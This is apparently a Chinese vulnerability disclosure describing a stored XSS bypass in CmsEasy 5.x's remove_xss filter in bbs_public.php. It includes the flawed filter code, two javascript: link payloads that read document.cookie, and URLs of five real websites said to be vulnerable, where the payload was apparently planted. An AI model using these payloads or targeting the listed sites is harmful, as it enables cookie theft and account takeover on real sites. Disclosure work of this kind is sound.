### 简要描述:
cmseasy某处存在存储型xss
影响版本:CmsEasy_5.x(包括最新版CmsEasy_5.5_UTF-8_20140420)
### 详细说明:
影响版本:CmsEasy_5.x(包括最新版CmsEasy_5.5_UTF-8_20140420)
存在漏洞的文件:bbs_public.php
用户量级:250,000
[<img src="https://images.seebug.org/upload/201406/031800218903d3189441602fc8eedd6e5249170f.jpg" alt="cmseasy.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/031800218903d3189441602fc8eedd6e5249170f.jpg)
BBS下所有POST提交,都会经过bbs_public.php文件里的remove_xss函数过滤,此函数在bbs_public.php文件的35行,存在问题的代码如下:
```
function remove_xss($val){
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); //可以看到,这里对于html实体解码包含了;,可是浏览器对于没有;的html实体也可以解码
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val);
}
$val = html_entity_decode($val);
if(preg_match('/&#(\d+);/', $val)){
exit('error'); //这里的判断也包括了;,所以我们可以去掉;来绕过
}
if(preg_match('/&#[xX](\d+);/', $val)){
exit('error');
}
```
POC如下:
在bbs的内容处填入:
```
<a href="java5cript:alert(document.cookie)">点这里!!!</a>
```
此POC可在CmsEasy_5.5_UTF-8_2014xxxx版本上利用,如下图:
[<img src="https://images.seebug.org/upload/201406/0319050911723cca92aca4633e3f52e6800e49f2.jpg" alt="cms2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0319050911723cca92aca4633e3f52e6800e49f2.jpg)
本来到此应该结束了,但是在网上找实例的时候,发现这个poc在2013之前的版本不行,所以如果是2013之前的版本,用如下POC:
```
<a href="javascript:alert(document.cookie)">点这里!!!</a>
```
第一个实例:
5.5 2013版本的
http://www.cosiqqi.com/bbs/archive-display.php?aid=3
[<img src="https://images.seebug.org/upload/201406/0319082050fcba4f01a425188ea9ef719ff9c063.jpg" alt="cms3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0319082050fcba4f01a425188ea9ef719ff9c063.jpg)
[<img src="https://images.seebug.org/upload/201406/0319084081c54e5740b4fd22438b9cf9517883bb.jpg" alt="cms4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0319084081c54e5740b4fd22438b9cf9517883bb.jpg)
第二个实例:
5.5 20121112版本的
http://www.cdsyzn.com/bbs/archive-display.php?aid=4
[<img src="https://images.seebug.org/upload/201406/03191152a7f97b631e21a3a6d19b129a8e0d2a5c.jpg" alt="cms5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/03191152a7f97b631e21a3a6d19b129a8e0d2a5c.jpg)
第三个实例:
5.5 20130605版本的
www.e-metersbonwe.com/bbs/archive-display.php?aid=1
[<img src="https://images.seebug.org/upload/201406/03193126f5e708820347e007fc5a8329ac75a62d.jpg" alt="cms6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/03193126f5e708820347e007fc5a8329ac75a62d.jpg)
第四个实例:
5.5 20140118版本
http://www.lings24.com/bbs/archive-display.php?aid=1
[<img src="https://images.seebug.org/upload/201406/031936358c645097f282c55b36a948723212c379.jpg" alt="cms7.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/031936358c645097f282c55b36a948723212c379.jpg)
第五个实例:
最新版5.5_UTF-8_20140420版本
http://www.hocoson.cn/bbs/archive-display.php?aid=1
[<img src="https://images.seebug.org/upload/201406/0319484020002cb8d7eb2f4444c065be0c4a99ca.jpg" alt="cms8.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0319484020002cb8d7eb2f4444c065be0c4a99ca.jpg)
### 漏洞证明:
5.5_UTF-8_20140420版本
http://www.hocoson.cn/bbs/archive-display.php?aid=1
[<img src="https://images.seebug.org/upload/201406/0319484020002cb8d7eb2f4444c065be0c4a99ca.jpg" alt="cms8.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0319484020002cb8d7eb2f4444c065be0c4a99ca.jpg)
暂无评论